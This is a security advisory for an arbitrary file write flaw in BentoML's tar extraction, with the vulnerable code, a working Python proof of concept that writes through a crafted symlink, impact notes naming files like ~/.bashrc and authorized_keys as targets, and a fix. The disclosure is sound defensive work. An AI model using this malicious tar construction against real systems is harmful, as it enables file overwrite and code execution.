PT-2026-59075 · Pypi · Bentoml

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v4.0

8.6

Alta

VetorAV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safe extract tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

  • File: src/bentoml/ internal/utils/filesystem.py:58-96
  • Callers: src/bentoml/ internal/cloud/bento.py:542, src/bentoml/ internal/cloud/model.py:504
  • Affected versions: All versions with safe extract tarfile()

Severity

CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

python
def safe extract tarfile(tar, destination):
  os.makedirs(destination, exist ok=True)
  for member in tar.getmembers():
    fn = member.name
    path = os.path.abspath(os.path.join(destination, fn))
    if not Path(path).is relative to(destination): # Line 64: INCOMPLETE
      continue # Only checks member path, NOT symlink target
    if member.issym():
      tar. extract member(member, path) # Line 75: Creates symlink with UNVALIDATED target
    else:
      fp = tar.extractfile(member)
      with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks
        shutil.copyfileobj(fp, destfp)

The Bug

  1. Line 64: Path(path).is relative to(destination) checks the member's OWN path, not the symlink target
  2. Line 75: tar. extract member() creates symlink with unvalidated target (e.g., /etc)
  3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination
os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

python
import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create malicious tar(target dir, target file, payload):
  buf = io.BytesIO()
  with tarfile.open(fileobj=buf, mode='w:gz') as tar:
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = target dir
    tar.addfile(sym)
    info = tarfile.TarInfo(name=f'escape/{target file}')
    info.size = len(payload)
    tar.addfile(info, io.BytesIO(payload))
  buf.seek(0)
  return buf

with tempfile.TemporaryDirectory() as tmpdir:
  extract dir = os.path.join(tmpdir, 'extract')
  target dir = os.path.join(tmpdir, 'outside')
  os.makedirs(target dir)
  
  mal tar = create malicious tar(target dir, 'pwned.txt', b'PWNED')
  tar = tarfile.open(fileobj=mal tar, mode='r:gz')
  
  # Reproduce filesystem.py:58-96
  os.makedirs(extract dir, exist ok=True)
  for member in tar.getmembers():
    path = os.path.abspath(os.path.join(extract dir, member.name))
    if not Path(path).is relative to(extract dir): continue
    if member.issym():
      tar. extract member(member, path) # Symlink target NOT checked
    else:
      fp = tar.extractfile(member)
      os.makedirs(os.path.dirname(path), exist ok=True)
      if fp:
        with open(path, 'wb') as destfp: # Follows symlink!
          shutil.copyfileobj(fp, destfp)
  
  assert os.path.exists(os.path.join(target dir, 'pwned.txt'))
  print(open(os.path.join(target dir, 'pwned.txt')).read()) # PWNED

Impact

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe extract tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets:
python
if member.issym():
  target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
  if not Path(target).is relative to(dest):
    logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
    continue
Or use Python 3.12+ tar.extractall(filter='data').

References

  • CWE-59: Improper Link Resolution Before File Access ('Link Following')
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2398

Produtos afetados

Bentoml